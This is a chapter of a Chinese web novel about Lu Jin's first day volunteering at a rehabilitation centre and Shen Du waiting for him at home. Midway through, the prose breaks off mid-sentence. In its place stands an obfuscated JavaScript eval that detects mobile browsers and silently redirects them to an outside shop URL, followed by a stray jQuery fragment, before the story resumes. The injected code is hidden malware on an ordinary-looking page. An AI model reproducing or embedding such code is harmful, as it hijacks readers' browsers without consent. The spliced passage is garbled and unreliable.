陆烬去做志愿者的第一天，沈渡送他到公交站台。
那天早上有点凉，沈渡站在站台边上，外套拉链拉到顶，一只手插在口袋里，另一只手握着手机。饼饼趴在他肩头，圆脑袋搁在他肩窝里，耳朵被风吹得往后翻。陆烬站在他旁边，今天穿了一件深灰色的外套，是前两天沈渡陪他去买的。他换好了之后站在镜子前看了自己两眼，沈渡靠在卧室门框上说“合身”，他就穿着出了门。
公交车从街角转弯过来，在站台前停下。陆烬回头看了沈渡一眼。沈渡朝他摆了摆手，没有说话。饼饼从沈渡肩上探出半个身子，尾巴摇了摇，像在说“快去”。
陆烬上了车，在靠窗的位置坐下。车子发动的时候他透过窗户看了一眼站台——沈渡还站在那里，手插在口袋里，肩膀上趴着一颗金色的小毛球。他的嘴角动了一下，幅度很小，但沈渡隔着车窗看到了。
车开走了。
沈渡站在原地又多站了一会儿，等那辆灰绿色的公交车消失在路口的转弯处，才转身往回走。饼饼从他肩上跳下来，落在地面上，四只小短腿哒哒哒地跟着他走。晨光斜着打在人行道上，把一人一狗的影子拉成长长的两截。
“你说他今天会见到什么样的人？”沈渡低头问。
饼饼仰头看他，耳朵转了转，没有回答，但它的小尾巴朝左偏了一下——一种毫无意义的回答，沈渡权且当作“我也不清楚”。
他在家门口站定，正要掏钥匙的时候手机震了一下。他低头看屏幕，是一条短信，来自一个没有备注的号码。内容很短，只有一行字：
【到了。——陆烬】
沈渡盯着屏幕看了两秒。陆烬的号码他没存过，不知道是什么时候来的。大概是他睡着的时候陆烬自己拿了手机存的。他推开门进屋，换鞋的时候回了一条：“嗯。”
下午沈渡去了公司。这是他离职前的最后一次交接，坐在人事部的小会议室里签字的时候，他手里的笔比想象中稳。人事部的同事把最后一张表格收走，抬头看了他一眼：“手续办完了，东西都带走了吗？”
沈渡点了点头。
“赵恒的案子，”那同事压低了声音，“听说下个月开庭。你那边——”
“该说的都说完了。”沈渡站起来，把椅子和桌面归拢整齐，“剩下的交给法院。”
他走出会议室的时候，走廊尽头的窗户外面能看见楼下那条街。他站在窗前看了一会儿——楼下有几个人在等红绿灯，旁边有一棵树，叶子黄了一半，风一吹就落几片，落得很慢。
沈渡掏出手机，拍了张窗外。他打开聊天框，犹豫了一下，发了出去。
过了大概两分钟，他收到了回信。一张图片——窗框外面能看到另一片天空，云层比沈渡这边的薄一些，边缘透出一线晴天的亮光。图片下面跟了一行字：“这边天气好一点。”
沈渡把手机揣回兜里，朝着电梯走去。
陆烬那边比沈渡想象中顺利。他去的康复中心离他们住的地方大概四十分钟车程，在一栋旧办公楼的三层，牌子不大，门口放了一盆绿萝。接待他的是一个戴圆框眼镜的年轻女人，自我介绍姓郑，是这里的负责人。她把陆烬领进一间贴着浅蓝色墙纸的活动室，屋子里已经坐了三个人。
三个人的年龄各不相同。最年轻的是个二十出头的男生，坐在靠窗的位置，手指一直在桌沿上轻轻敲击，像在打某种无形的节拍。年长一些的是个四十岁左右的男人，坐在角落的沙发里，视线固定在地板某条缝隙上。还有一个是看起来不到三十岁的女人，她面前摊着一本翻到中间的书，但她的目光没有落在书页上。
陆烬站在那里。郑老师走到房间中央，对那三个人说：“今天来了一位新朋友，他以前和你们一样被困在全息系统里。他现在恢复得不错，想来看看你们。”
敲桌沿的男生停了一下，抬头看了陆烬一眼。那一眼很短，但陆烬看到他的瞳孔有一瞬间的失焦，然后重新聚拢。
陆烬走到那男生旁边隔了一个座位的椅子上坐下。他没有立刻说话，先把手里拎着的一袋橘子放在桌面上——沈渡早上出门前塞进他包里的，说“带点东西去”。他把橘子袋往桌中间推了推，然后开口了：“我叫陆烬。”
敲桌沿的男生看了他一眼：“……你以前也出不来？”
“出不来。”陆烬说。
“多久？”
“记不清了。”陆烬这句话是真的。他确实无法精确算出一个从碎片状态归拢回来的存在到底“待了”多久。“但比我认识的另一个人短一些。”
角落里那个男人抬了一下眼。目光从地板缝隙上移开，落在陆烬侧脸上，看了两秒，重新落回地板。但那个目光移动的弧度和之前不太一样了。
那天下午陆烬没有做太多事。他坐在活动室里，偶尔回答一两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909744|213090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个问题，大多数时候只是坐在那里。窗外的光线从东侧移到了正中央，然后开始往西偏。屋子里的人逐渐松懈下来——敲桌沿的男生不知道什么时候停了手指，低头翻了一页旁边座位上搁着的旧杂志。
陆烬离开的时候，靠在窗边的那个女生抬头看了他一眼。她说了一句话，声音不大，但每个字都很清楚：“你身上有光。”
陆烬的脚步停了一瞬。他没有回头，但他说：“嗯。那是我拼回来的。”
他走出康复中心的大门时，天色已经开始转暗。他掏出手机，发现沈渡在二十分钟前发了一张照片——窗口外面有一颗半黄的树，叶子落了一小半。他没有回那张图，他打了一行字：“回来了。公交站等我。”
沈渡收到短信的时候正在厨房切番茄。他放下刀，擦了擦手，拿起外套走到门口。饼饼本来趴在窗台上睡觉，听到钥匙声立刻跳下来，一路小跑到玄关，蹲在鞋柜旁边，尾巴在地上扫来扫去。
沈渡打开门的时候，饼饼从他脚边冲出去，沿着走廊奔向楼梯口。沈渡听到走廊尽头传来一声很轻的笑——不是他的，是另一个人的。他穿上鞋，锁好门，沿着走廊往楼梯口走去。拐过转角的时候看到陆烬正蹲在地上，一只手伸出去，掌心朝上，饼饼把脑袋搁在他掌心里，尾巴摇得像一把小扇子。
“今天怎么样？”沈渡走过去，站在他们旁边。
“还行。”陆烬站起来，偏头看着他，“橘子分完了。”
“全分完了？”
“嗯。”陆烬说，“有一个说橘子酸。但我看他吃了两个。”
沈渡笑了一声。他们并排往楼下走，饼饼哒哒哒地跟在脚边，尾巴一直没停。楼梯间的声控灯在他们经过时一盏一盏亮起来，又在他们身后一盏一盏暗下去。
沈渡走在前面半步，陆烬跟在他身后一步的位置。到楼下的时候沈渡停住了，掏出钥匙锁防盗门。他的手指碰到锁孔的时候，陆烬在身后开口了：“你下午拍的树。”
“嗯？”
“那棵树，叶子还在。”
沈渡背对着他，把锁咔哒一声锁好，收好钥匙。他转过身来的时候脸上没什么表情，但眼角的弧度比刚才弯了一点点：“还在。等你下次去看，可能就掉光了。”
陆烬看着他，什么也没说。但饼饼蹲在他们中间，尾巴尖来回扫着两人的裤脚，像在提醒他们——天快黑了，该回家了。